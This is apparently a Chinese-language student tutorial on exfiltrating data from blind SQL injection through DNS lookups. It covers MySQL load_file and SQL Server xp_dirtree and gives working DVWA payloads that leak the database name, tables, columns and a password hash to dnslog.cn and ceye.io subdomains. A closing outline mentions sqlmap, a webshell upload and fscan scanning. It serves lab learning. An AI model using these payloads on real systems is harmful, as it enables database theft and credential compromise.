目录
Sql 注入无回显,盲注又被封怎么办?
可以采用盲注,基于时间的盲注,基于布尔值的盲注
sql 盲注被封了怎么办
盲注速度很慢,有时候需要一个一个字符去进行爆破,可以但不够高效,并且有时候防火墙还回去禁用ip,此时就可以考虑通过DNSLOG来快速的得到数据。
通过这两网站注册域名
http://ceye.io
http://www.dnslog.cn
Sql 注入盲注的 DNSlog 利用条件
DBMS 中需要有可用的,能直接或间接引发 DNS 解析过程的子程序,即使用到 UNC(UNC 是一种命名惯例, 主要用于在 Microsoft Windows 上指定和映射网络驱动器
UNC 路径就是类似\softer 这样的形式的网络路径 格式: \servername\sharename ,其中 servername 是服务器名,sharename 是共享资源的 名称)
Linux 没有 UNC 路径,所以当处于 Linux 中的数据库管理系统时,不能使用该方式获取 数据
具体使用
先得到域名(dnslog上的域名是临时的,如果有一些无法使用重新再get一个就可以了)(ps:这个有时候不稳定)
利用姿势1:load_file
利用该姿势有一些先决条件,windows 操作系统中的 mysql ,需要设置 secure_file_priv 为空。
直接再小皮数据库加上
而后进入bin目录下,输入mysql -uroot -p登录数据库(密码是默认的),而后输入
select load_file(concat('\\\\',(select version()),'.khimmq.dnslog.cn\\test'));
load_file为攻击的相关函数,利用concat函数将查询的version与使用的域名包含起来,其中‘\\\\’为转义字符,可以理解为转义\,输出两个\\ ,而使用\的原因也是为了模仿UNC的路径,后面那个.xxx为域名解析,而那个test则是随便输的一个文件,可以是不存在的,只是为了让查询的数据回显到dnslog上。
数据在dns_log上成功回显。
利用姿势2:SQL-Server
Microsoft SQL Server 使用如下存储过程
Master..xp_dirtree (用于获取所有文件夹的列表和给定文件夹内部的子文件夹)
master…xp_fileexist (用于确定一个特定的文件是否存在于硬盘)
master…xp_subdirs (用于得到给定的文件夹内的文件夹列表)
下面语句中:use表示使用master这个表,declare表示声明变量,select即使构建语句,构建一个可以得到表名的语句
成功得到数据
靶场运用dvwa
先将靶场难度调成low
通过该语句直接进行搜索,来得到是数据库名
' and if((select load_file(concat('\\\\',(select database()),'.5evlh9.dnslog.cn\\test'))),1,0) #
得到表名(ps:这里不能用group_oncat,dnslog有长度限制,还有这玩意响应有点慢ip地址乱变是因为开了vpn)
' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),'.tv0y2w.ceye.io\\test'))),1,0) #
' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.5evlh9.dnslog.cn\\test'))),1,0) #
' and if((select load_file(concat('\\\\',(select password from users where user_id='1'),'.5evlh9.dnslog.cn\\xx'))),1,0) #
得到这个密码,是个MD5的加密,可以网上搜索工具解码
站库分离(这是个作业,老师给的压缩包。请忽略,没有任何详细过程)
扫网段
扫目录
抓包
通过盲注爆破数据库表名
也可以保存通过sqlmap跑
sqlmap语句
上传一句话木马文件
连接成功
fscan扫相关网段